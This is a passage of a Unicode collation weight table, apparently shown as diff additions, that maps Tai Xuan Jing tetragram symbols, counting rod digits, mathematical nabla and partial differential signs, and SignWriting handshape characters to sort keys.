+1D312 ; [*0EFC.0020.0002] # TETRAGRAM FOR INCREASE
+1D313 ; [*0EFD.0020.0002] # TETRAGRAM FOR PENETRATION
+1D314 ; [*0EFE.0020.0002] # TETRAGRAM FOR REACH
+1D315 ; [*0EFF.0020.0002] # TETRAGRAM FOR CONTACT
+1D316 ; [*0F00.0020.0002] # TETRAGRAM FOR HOLDING BACK
+1D317 ; [*0F01.0020.0002] # TETRAGRAM FOR WAITING
+1D318 ; [*0F02.0020.0002] # TETRAGRAM FOR FOLLOWING
+1D319 ; [*0F03.0020.0002] # TETRAGRAM FOR ADVANCE
+1D31A ; [*0F04.0020.0002] # TETRAGRAM FOR RELEASE
+1D31B ; [*0F05.0020.0002] # TETRAGRAM FOR RESISTANCE
+1D31C ; [*0F06.0020.0002] # TETRAGRAM FOR EASE
+1D31D ; [*0F07.0020.0002] # TETRAGRAM FOR JOY
+1D31E ; [*0F08.0020.0002] # TETRAGRAM FOR CONTENTION
+1D31F ; [*0F09.0020.0002] # TETRAGRAM FOR ENDEAVOUR
+1D320 ; [*0F0A.0020.0002] # TETRAGRAM FOR DUTIES
+1D321 ; [*0F0B.0020.0002] # TETRAGRAM FOR CHANGE
+1D322 ; [*0F0C.0020.0002] # TETRAGRAM FOR DECISIVENESS
+1D323 ; [*0F0D.0020.0002] # TETRAGRAM FOR BOLD RESOLUTION
+1D324 ; [*0F0E.0020.0002] # TETRAGRAM FOR PACKING
+1D325 ; [*0F0F.0020.0002] # TETRAGRAM FOR LEGION
+1D326 ; [*0F10.0020.0002] # TETRAGRAM FOR CLOSENESS
+1D327 ; [*0F11.0020.0002] # TETRAGRAM FOR KINSHIP
+1D328 ; [*0F12.0020.0002] # TETRAGRAM FOR GATHERING
+1D329 ; [*0F13.0020.0002] # TETRAGRAM FOR STRENGTH
+1D32A ; [*0F14.0020.0002] # TETRAGRAM FOR PURITY
+1D32B ; [*0F15.0020.0002] # TETRAGRAM FOR FULLNESS
+1D32C ; [*0F16.0020.0002] # TETRAGRAM FOR RESIDENCE
+1D32D ; [*0F17.0020.0002] # TETRAGRAM FOR LAW OR MODEL
+1D32E ; [*0F18.0020.0002] # TETRAGRAM FOR RESPONSE
+1D32F ; [*0F19.0020.0002] # TETRAGRAM FOR GOING TO MEET
+1D330 ; [*0F1A.0020.0002] # TETRAGRAM FOR ENCOUNTERS
+1D331 ; [*0F1B.0020.0002] # TETRAGRAM FOR STOVE
+1D332 ; [*0F1C.0020.0002] # TETRAGRAM FOR GREATNESS
+1D333 ; [*0F1D.0020.0002] # TETRAGRAM FOR ENLARGEMENT
+1D334 ; [*0F1E.0020.0002] # TETRAGRAM FOR PATTERN
+1D335 ; [*0F1F.0020.0002] # TETRAGRAM FOR RITUAL
+1D336 ; [*0F20.0020.0002] # TETRAGRAM FOR FLIGHT
+1D337 ; [*0F21.0020.0002] # TETRAGRAM FOR VASTNESS OR WASTING
+1D338 ; [*0F22.0020.0002] # TETRAGRAM FOR CONSTANCY
+1D339 ; [*0F23.0020.0002] # TETRAGRAM FOR MEASURE
+1D33A ; [*0F24.0020.0002] # TETRAGRAM FOR ETERNITY
+1D33B ; [*0F25.0020.0002] # TETRAGRAM FOR UNITY
+1D33C ; [*0F26.0020.0002] # TETRAGRAM FOR DIMINISHMENT
+1D33D ; [*0F27.0020.0002] # TETRAGRAM FOR CLOSED MOUTH
+1D33E ; [*0F28.0020.0002] # TETRAGRAM FOR GUARDEDNESS
+1D33F ; [*0F29.0020.0002] # TETRAGRAM FOR GATHERING IN
+1D340 ; [*0F2A.0020.0002] # TETRAGRAM FOR MASSING
+1D341 ; [*0F2B.0020.0002] # TETRAGRAM FOR ACCUMULATION
+1D342 ; [*0F2C.0020.0002] # TETRAGRAM FOR EMBELLISHMENT
+1D343 ; [*0F2D.0020.0002] # TETRAGRAM FOR DOUBT
+1D344 ; [*0F2E.0020.0002] # TETRAGRAM FOR WATCH
+1D345 ; [*0F2F.0020.0002] # TETRAGRAM FOR SINKING
+1D346 ; [*0F30.0020.0002] # TETRAGRAM FOR INNER
+1D347 ; [*0F31.0020.0002] # TETRAGRAM FOR DEPARTURE
+1D348 ; [*0F32.0020.0002] # TETRAGRAM FOR DARKENING
+1D349 ; [*0F33.0020.0002] # TETRAGRAM FOR DIMMING
+1D34A ; [*0F34.0020.0002] # TETRAGRAM FOR EXHAUSTION
+1D34B ; [*0F35.0020.0002] # TETRAGRAM FOR SEVERANCE
+1D34C ; [*0F36.0020.0002] # TETRAGRAM FOR STOPPAGE
+1D34D ; [*0F37.0020.0002] # TETRAGRAM FOR HARDNESS
+1D34E ; [*0F38.0020.0002] # TETRAGRAM FOR COMPLETION
+1D34F ; [*0F39.0020.0002] # TETRAGRAM FOR CLOSURE
+1D350 ; [*0F3A.0020.0002] # TETRAGRAM FOR FAILURE
+1D351 ; [*0F3B.0020.0002] # TETRAGRAM FOR AGGRAVATION
+1D352 ; [*0F3C.0020.0002] # TETRAGRAM FOR COMPLIANCE
+1D353 ; [*0F3D.0020.0002] # TETRAGRAM FOR ON THE VERGE
+1D354 ; [*0F3E.0020.0002] # TETRAGRAM FOR DIFFICULTIES
+1D355 ; [*0F3F.0020.0002] # TETRAGRAM FOR LABOURING
+1D356 ; [*0F40.0020.0002] # TETRAGRAM FOR FOSTERING
+1D369 ; [*1BEF.0020.0002] # COUNTING ROD TENS DIGIT ONE
+1D36A ; [*1BF0.0020.0002] # COUNTING ROD TENS DIGIT TWO
+1D36B ; [*1BF1.0020.0002] # COUNTING ROD TENS DIGIT THREE
+1D36C ; [*1BF2.0020.0002] # COUNTING ROD TENS DIGIT FOUR
+1D36D ; [*1BF3.0020.0002] # COUNTING ROD TENS DIGIT FIVE
+1D36E ; [*1BF4.0020.0002] # COUNTING ROD TENS DIGIT SIX
+1D36F ; [*1BF5.0020.0002] # COUNTING ROD TENS DIGIT SEVEN
+1D370 ; [*1BF6.0020.0002] # COUNTING ROD TENS DIGIT EIGHT
+1D371 ; [*1BF7.0020.0002] # COUNTING ROD TENS DIGIT NINE
+1D6C1 ; [*060C.0020.0005] # MATHEMATICAL BOLD NABLA
+1D6DB ; [*0608.0020.0005] # MATHEMATICAL BOLD PARTIAL DIFFERENTIAL
+1D6FB ; [*060C.0020.0005] # MATHEMATICAL ITALIC NABLA
+1D715 ; [*0608.0020.0005] # MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL
+1D735 ; [*060C.0020.0005] # MATHEMATICAL BOLD ITALIC NABLA
+1D74F ; [*0608.0020.0005] # MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL
+1D76F ; [*060C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD NABLA
+1D789 ; [*0608.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL
+1D7A9 ; [*060C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA
+1D7C3 ; [*0608.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL
+1D800 ; [*183F.0020.0002] # SIGNWRITING HAND-FIST INDEX
+1D801 ; [*1840.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX
+1D802 ; [*1841.0020.0002] # SIGNWRITING HAND-CUP INDEX
+1D803 ; [*1842.0020.0002] # SIGNWRITING HAND-OVAL INDEX
+1D804 ; [*1843.0020.0002] # SIGNWRITING HAND-HINGE INDEX
+1D805 ; [*1844.0020.0002] # SIGNWRITING HAND-ANGLE INDEX
+1D806 ; [*1845.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT
+1D807 ; [*1846.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX BENT
+1D808 ; [*1847.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER INDEX BENT
+1D809 ; [*1848.0020.0002] # SIGNWRITING HAND-FIST INDEX RAISED KNUCKLE
+1D80A ; [*1849.0020.0002] # SIGNWRITING HAND-FIST INDEX CUPPED
+1D80B ; [*184A.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED
+1D80C ; [*184B.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED LOW
+1D80D ; [*184C.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX HINGE
+1D80E ; [*184D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE
+1D80F ; [*184E.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE
+1D810 ; [*184F.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT
+1D811 ; [*1850.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RAISED KNUCKLES
+1D812 ; [*1851.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED
+1D813 ; [*1852.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED
+1D814 ; [*1853.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP
+1D815 ; [*1854.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED
+1D816 ; [*1855.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED INDEX BENT
+1D817 ; [*1856.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED MIDDLE BENT
+1D818 ; [*1857.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED
+1D819 ; [*1858.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED
+1D81A ; [*1859.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED
+1D81B ; [*185A.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSSED
+1D81C ; [*185B.0020.0002] # SIGNWRITING HAND-FIST MIDDLE BENT OVER INDEX
+1D81D ; [*185C.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT OVER MIDDLE
+1D81E ; [*185D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB
+1D81F ; [*185E.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE THUMB
+1D820 ; [*185F.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE STRAIGHT THUMB BENT
+1D821 ; [*1860.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT THUMB STRAIGHT
+1D822 ; [*1861.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB BENT
+1D823 ; [*1862.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED SPREAD THUMB SIDE
+1D824 ; [*1863.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB SIDE
+1D825 ; [*1864.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB CONJOINED
+1D826 ; [*1865.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP THUMB SIDE
+1D827 ; [*1866.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE UP SPREAD THUMB FORWARD
+1D828 ; [*1867.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CUPPED
+1D829 ; [*1868.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CIRCLED
+1D82A ; [*1869.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HOOKED
+1D82B ; [*186A.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HINGED
+1D82C ; [*186B.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE STRAIGHT
+1D82D ; [*186C.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE
+1D82E ; [*186D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE CONJOINED
+1D82F ; [*186E.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE BENT
+1D830 ; [*186F.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB HOOKED INDEX UP
+1D831 ; [*1870.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE UP
+1D832 ; [*1871.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED THUMB SIDE
+1D833 ; [*1872.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED THUMB SIDE
+1D834 ; [*1873.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB FORWARD
+1D835 ; [*1874.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED THUMB FORWARD
+1D836 ; [*1875.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CUPPED INDEX UP
+1D837 ; [*1876.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CUPPED MIDDLE UP
+1D838 ; [*1877.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX UP
+1D839 ; [*1878.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX HINGED
+1D83A ; [*1879.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED OUT MIDDLE UP
+1D83B ; [*187A.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED IN MIDDLE UP
+1D83C ; [*187B.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLED MIDDLE UP
+1D83D ; [*187C.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CONJOINED HINGED
+1D83E ; [*187D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED OUT
+1D83F ; [*187E.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED
+1D840 ; [*187F.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX UP
+1D841 ; [*1880.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX CROSSED
+1D842 ; [*1881.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED INDEX UP
+1D843 ; [*1882.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE HINGED
+1D844 ; [*1883.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS
+1D845 ; [*1884.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS BENT
+1D846 ; [*1885.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS HINGED
+1D847 ; [*1886.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED
+1D848 ; [*1887.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED SPLIT
+1D849 ; [*1888.0020.0002] # SIGNWRITING HAND-CLAW FOUR FINGERS CONJOINED
+1D84A ; [*1889.0020.0002] # SIGNWRITING HAND-FIST FOUR FINGERS CONJOINED BENT
+1D84B ; [*188A.0020.0002] # SIGNWRITING HAND-HINGE FOUR FINGERS CONJOINED
+1D84C ; [*188B.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD
+1D84D ; [*188C.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD
+1D84E ; [*188D.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD FOUR BENT
+1D84F ; [*188E.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD FOUR BENT
+1D850 ; [*188F.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD BENT
+1D851 ; [*1890.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD BENT
+1D852 ; [*1891.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD THUMB FORWARD
+1D853 ; [*1892.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD
+1D854 ; [*1893.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD OPEN
+1D855 ; [*1894.0020.0002] # SIGNWRITING HAND-HINGE FIVE FINGERS SPREAD OPEN
+1D856 ; [*1895.0020.0002] # SIGNWRITING HAND-OVAL FIVE FINGERS SPREAD
+1D857 ; [*1896.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED
+1D858 ; [*1897.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED THUMB SIDE
+1D859 ; [*1898.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED NO THUMB
+1D85A ; [*1899.0020.0002] # SIGNWRITING HAND-FLAT
+1D85B ; [*189A.0020.0002] # SIGNWRITING HAND-FLAT BETWEEN PALM FACINGS
+1D85C ; [*189B.0020.0002] # SIGNWRITING HAND-FLAT HEEL
+1D85D ; [*189C.0020.0002] # SIGNWRITING HAND-FLAT THUMB SIDE
+1D85E ; [*189D.0020.0002] # SIGNWRITING HAND-FLAT HEEL THUMB SIDE
+1D85F ; [*189E.0020.0002] # SIGNWRITING HAND-FLAT THUMB BENT
+1D860 ; [*189F.0020.0002] # SIGNWRITING HAND-FLAT THUMB FORWARD
+1D861 ; [*18A0.0020.0002] # SIGNWRITING HAND-FLAT SPLIT INDEX THUMB SIDE
+1D862 ; [*18A1.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE
+1D863 ; [*18A2.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE
+1D864 ; [*18A3.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE BENT
+1D865 ; [*18A4.0020.0002] # SIGNWRITING HAND-FLAT SPLIT LITTLE
+1D866 ; [*18A5.0020.0002] # SIGNWRITING HAND-CLAW
+1D867 ; [*18A6.0020.0002] # SIGNWRITING HAND-CLAW THUMB SIDE
+1D868 ; [*18A7.0020.0002] # SIGNWRITING HAND-CLAW NO THUMB
+1D869 ; [*18A8.0020.0002] # SIGNWRITING HAND-CLAW THUMB FORWARD
+1D86A ; [*18A9.0020.0002] # SIGNWRITING HAND-HOOK CURLICUE
+1D86B ; [*18AA.0020.0002] # SIGNWRITING HAND-HOOK
+1D86C ; [*18AB.0020.0002] # SIGNWRITING HAND-CUP OPEN
+1D86D ; [*18AC.0020.0002] # SIGNWRITING HAND-CUP
+1D86E ; [*18AD.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB SIDE
+1D86F ; [*18AE.0020.0002] # SIGNWRITING HAND-CUP THUMB SIDE
+1D870 ; [*18AF.0020.0002] # SIGNWRITING HAND-CUP OPEN NO THUMB
+1D871 ; [*18B0.0020.0002] # SIGNWRITING HAND-CUP NO THUMB
+1D872 ; [*18B1.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB FORWARD
+1D873 ; [*18B2.0020.0002] # SIGNWRITING HAND-CUP THUMB FORWARD
+1D874 ; [*18B3.0020.0002] # SIGNWRITING HAND-CURLICUE OPEN
+1D875 ; [*18B4.0020.0002] # SIGNWRITING HAND-CURLICUE
+1D876 ; [*18B5.0020.0002] # SIGNWRITING HAND-CIRCLE
+1D877 ; [*18B6.0020.0002] # SIGNWRITING HAND-OVAL
+1D878 ; [*18B7.0020.0002] # SIGNWRITING HAND-OVAL THUMB SIDE
+1D879 ; [*18B8.0020.0002] # SIGNWRITING HAND-OVAL NO THUMB
+1D87A ; [*18B9.0020.0002] # SIGNWRITING HAND-OVAL THUMB FORWARD
+1D87B ; [*18BA.0020.0002] # SIGNWRITING HAND-HINGE OPEN
+1D87C ; [*18BB.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB FORWARD
+1D87D ; [*18BC.0020.0002] # SIGNWRITING HAND-HINGE
+1D87E ; [*18BD.0020.0002] # SIGNWRITING HAND-HINGE SMALL
+1D87F ; [*18BE.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB SIDE
+1D880 ; [*18BF.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE
+1D881 ; [*18C0.0020.0002] # SIGNWRITING HAND-HINGE OPEN NO THUMB
+1D882 ; [*18C1.0020.0002] # SIGNWRITING HAND-HINGE NO THUMB
+1D883 ; [*18C2.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE TOUCHING INDEX
+1D884 ; [*18C3.0020.0002] # SIGNWRITING HAND-HINGE THUMB BETWEEN MIDDLE RING
+1D885 ; [*18C4.0020.0002] # SIGNWRITING HAND-ANGLE
+1D886 ; [*18C5.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING
+1D887 ; [*18C6.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE RING
+1D888 ; [*18C7.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING
+1D889 ; [*18C8.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE RING
+1D88A ; [*18C9.0020.0002] # SIGNWRITING HAND-HINGE LITTLE
+1D88B ; [*18CA.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING BENT
+1D88C ; [*18CB.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING CONJOINED
+1D88D ; [*18CC.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING CONJOINED
+1D88E ; [*18CD.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN
+1D88F ; [*18CE.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE STRAIGHT
+1D890 ; [*18CF.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE CURVED
+1D891 ; [*18D0.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN OTHERS CIRCLED
+1D892 ; [*18D1.0020.0002] # SIGNWRITING HAND-FIST LITTLE UP
+1D893 ; [*18D2.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER LITTLE UP
+1D894 ; [*18D3.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE UP
+1D895 ; [*18D4.0020.0002] # SIGNWRITING HAND-OVAL LITTLE UP
+1D896 ; [*18D5.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE UP
+1D897 ; [*18D6.0020.0002] # SIGNWRITING HAND-FIST LITTLE RAISED KNUCKLE
+1D898 ; [*18D7.0020.0002] # SIGNWRITING HAND-FIST LITTLE BENT
+1D899 ; [*18D8.0020.0002] # SIGNWRITING HAND-FIST LITTLE TOUCHES THUMB
+1D89A ; [*18D9.0020.0002] # SIGNWRITING HAND-FIST LITTLE THUMB
+1D89B ; [*18DA.0020.0002] # SIGNWRITING HAND-HINGE LITTLE THUMB
+1D89C ; [*18DB.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX THUMB
+1D89D ; [*18DC.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX THUMB
+1D89E ; [*18DD.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB OUT
+1D89F ; [*18DE.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB
+1D8A0 ; [*18DF.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX
+1D8A1 ; [*18E0.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE INDEX
+1D8A2 ; [*18E1.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX
+1D8A3 ; [*18E2.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX
+1D8A4 ; [*18E3.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE LITTLE
+1D8A5 ; [*18E4.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE LITTLE
+1D8A6 ; [*18E5.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE LITTLE
+1D8A7 ; [*18E6.0020.0002] # SIGNWRITING HAND-HINGE RING
+1D8A8 ; [*18E7.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE LITTLE
+1D8A9 ; [*18E8.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSS LITTLE
+1D8AA ; [*18E9.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSS LITTLE
+1D8AB ; [*18EA.0020.0002] # SIGNWRITING HAND-FIST RING DOWN
+1D8AC ; [*18EB.0020.0002] # SIGNWRITING HAND-HINGE RING DOWN INDEX THUMB HOOK MIDDLE
+1D8AD ; [*18EC.0020.0002] # SIGNWRITING HAND-ANGLE RING DOWN MIDDLE THUMB INDEX CROSS
+1D8AE ; [*18ED.0020.0002] # SIGNWRITING HAND-FIST RING UP
+1D8AF ; [*18EE.0020.0002] # SIGNWRITING HAND-FIST RING RAISED KNUCKLE
+1D8B0 ; [*18EF.0020.0002] # SIGNWRITING HAND-FIST RING LITTLE
+1D8B1 ; [*18F0.0020.0002] # SIGNWRITING HAND-CIRCLE RING LITTLE
+1D8B2 ; [*18F1.0020.0002] # SIGNWRITING HAND-OVAL RING LITTLE
+1D8B3 ; [*18F2.0020.0002] # SIGNWRITING HAND-ANGLE RING LITTLE
+1D8B4 ; [*18F3.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE
+1D8B5 ; [*18F4.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE CONJOINED
+1D8B6 ; [*18F5.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE RAISED KNUCKLES
+1D8B7 ; [*18F6.0020.0002] # SIGNWRITING HAND-FIST RING INDEX
+1D8B8 ; [*18F7.0020.0002] # SIGNWRITING HAND-FIST RING THUMB
+1D8B9 ; [*18F8.0020.0002] # SIGNWRITING HAND-HOOK RING THUMB
+1D8BA ; [*18F9.0020.0002] # SIGNWRITING HAND-FIST INDEX RING LITTLE
+1D8BB ; [*18FA.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX RING LITTLE
+1D8BC ; [*18FB.0020.0002] # SIGNWRITING HAND-CURLICUE INDEX RING LITTLE ON
+1D8BD ; [*18FC.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE OUT
+1D8BE ; [*18FD.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE IN
+1D8BF ; [*18FE.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE UNDER
+1D8C0 ; [*18FF.0020.0002] # SIGNWRITING HAND-CUP INDEX RING LITTLE
+1D8C1 ; [*1900.0020.0002] # SIGNWRITING HAND-HINGE INDEX RING LITTLE
+1D8C2 ; [*1901.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE OUT
+1D8C3 ; [*1902.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE
+1D8C4 ; [*1903.0020.0002] # SIGNWRITING HAND-FIST MIDDLE DOWN
+1D8C5 ; [*1904.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE
+1D8C6 ; [*1905.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP
+1D8C7 ; [*1906.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE UP
+1D8C8 ; [*1907.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RAISED KNUCKLE
+1D8C9 ; [*1908.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP THUMB SIDE
+1D8CA ; [*1909.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE THUMB
+1D8CB ; [*190A.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB LITTLE
+1D8CC ; [*190B.0020.0002] # SIGNWRITING HAND-FIST MIDDLE LITTLE
+1D8CD ; [*190C.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RING LITTLE
+1D8CE ; [*190D.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE
+1D8CF ; [*190E.0020.0002] # SIGNWRITING HAND-CURLICUE MIDDLE RING LITTLE ON
+1D8D0 ; [*190F.0020.0002] # SIGNWRITING HAND-CUP MIDDLE RING LITTLE
+1D8D1 ; [*1910.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE RING LITTLE
+1D8D2 ; [*1911.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE OUT
+1D8D3 ; [*1912.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE IN
+1D8D4 ; [*1913.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE
+1D8D5 ; [*1914.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE BENT
+1D8D6 ; [*1915.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED
+1D8D7 ; [*1916.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED SIDE
+1D8D8 ; [*1917.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED OUT
+1D8D9 ; [*1918.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED IN
+1D8DA ; [*1919.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED
+1D8DB ; [*191A.0020.0002] # SIGNWRITING HAND-HINGE INDEX HINGED
+1D8DC ; [*191B.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE
+1D8DD ; [*191C.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SIDE
+1D8DE ; [*191D.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB DIAGONAL
+1D8DF ; [*191E.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB CONJOINED
+1D8E0 ; [*191F.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB BENT
